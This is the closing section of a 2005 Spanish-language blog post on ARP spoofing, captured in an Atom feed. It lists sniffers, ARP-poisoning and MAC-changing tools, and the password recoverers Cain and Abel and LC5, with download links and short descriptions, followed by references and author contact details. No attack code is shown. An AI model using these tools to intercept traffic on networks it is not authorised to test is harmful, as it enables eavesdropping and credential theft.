/&gt;&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;Tools&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;http://neworder.box.sk/codebox.links.php?key=sniff&amp;txt=Sniffers --- Aqui podras encontrar la mayoria de programas referentes              a sniffing (*nix/Windows)&lt;br /&gt;&lt;br /&gt;http://web.syr.edu/~sabuer/arpoison/    --- ARPoison .. crea spoofed ARP Replies permitiendote                  especificar direcciones IP/MAC (*nix)&lt;br /&gt;&lt;br /&gt;http://www.securityfocus.com/tools/142                          --- ARPwatch .. Monitorea paquetes ARP (*nix)&lt;br /&gt;&lt;br /&gt;http://oxid.it       --- Cain and Abel .. Programa muy util (Windows)&lt;br /&gt;&lt;br /&gt;http://www.monkey.org/~dugsong/dsniff/    --- Dsniff - Coleccion de programas utiles (*nix)&lt;br /&gt;&lt;br /&gt;http://ntsecurity.nu/toolbox/etherchange/   --- Etherchange .. Cambia direccion MAC (Windows)&lt;br /&gt;&lt;br /&gt;http://www.ethereal.com/download.html    --- Ethereal .. Snifea conexion (Windows)&lt;br /&gt;&lt;br /&gt;http://ettercap.sourceforge.net/    --- Ettercap .. Hace varias cosas utiles (*nix)&lt;br /&gt;&lt;br /&gt;http://www.atstake.com/products/lc/    --- LC5 .. Programa muy util (Windows)&lt;br /&gt;&lt;br /&gt;http://www.alobbs.com/modules.php?op=modload&amp;amp;name=macc&amp;amp;file=index - Mac Changer .. Nombre dice todo (*nix)&lt;br /&gt;&lt;br /&gt;http://www.packetfactory.net/projects/nemesis/   --- Nemesis - Packet Injector (*nix/Windows)&lt;br /&gt;&lt;br /&gt;http://www.thehackerschoice.com/realease.php   --- Parasite .. Util para switches (*nix)&lt;br /&gt;&lt;br /&gt;http://www.secway.fr/products/simplite_msn/download.php? --- SimpLite .. Encripta mensajes de messenger (Windows)&lt;br /&gt;&lt;br /&gt;http://www.klcconsulting.net/smac/       --- SMAC .. Cambiar MAC (Windows)&lt;br /&gt;&lt;br /&gt;http://www.tcpdump.org/      --- Tcpdump .. Nombrelo dice (*nix)&lt;br /&gt;&lt;br /&gt;http://www.nextsecurity.net/     --- WinArpSpoof .. Nombre lo dice (Windows)&lt;br /&gt;&lt;br /&gt;*LC5 y Cain and Abel son recuperadores de passwords que traen la opcion de snifear.&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;Referencias&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;http://node99.org/projects/arpspoof/arpspoof.pdf&lt;br /&gt;&lt;br /&gt;http://www.governmentsecurity.org/articles/TheIngredientstoARPPoison.php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;FINAL&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;LightOS - http://www.suckea.com/lightos/&lt;br /&gt;LightOS@gmail.com - Por cualquier cosa.&lt;br /&gt;--&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13066511-111666104824624711?l=hax0rs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hax0rs.blogspot.com/feeds/111666104824624711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13066511&amp;postID=111666104824624711' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666104824624711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666104824624711'/><link rel='alternate' type='text/html' href='http://hax0rs.blogspot.com/2005/05/arp-spoofing-definicion-ataque-y.html' title='ARP Spoofing definicion, ataque y defensa Windows y Linux.'/><author><name>KsiAnonimo</name><uri>http://www.blogger.com/profile/00509391750525459004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.cogitoalius.com.ar/avatarcogitoalius.gif'/></author><thr:total>2</thr:total></entry></feed>
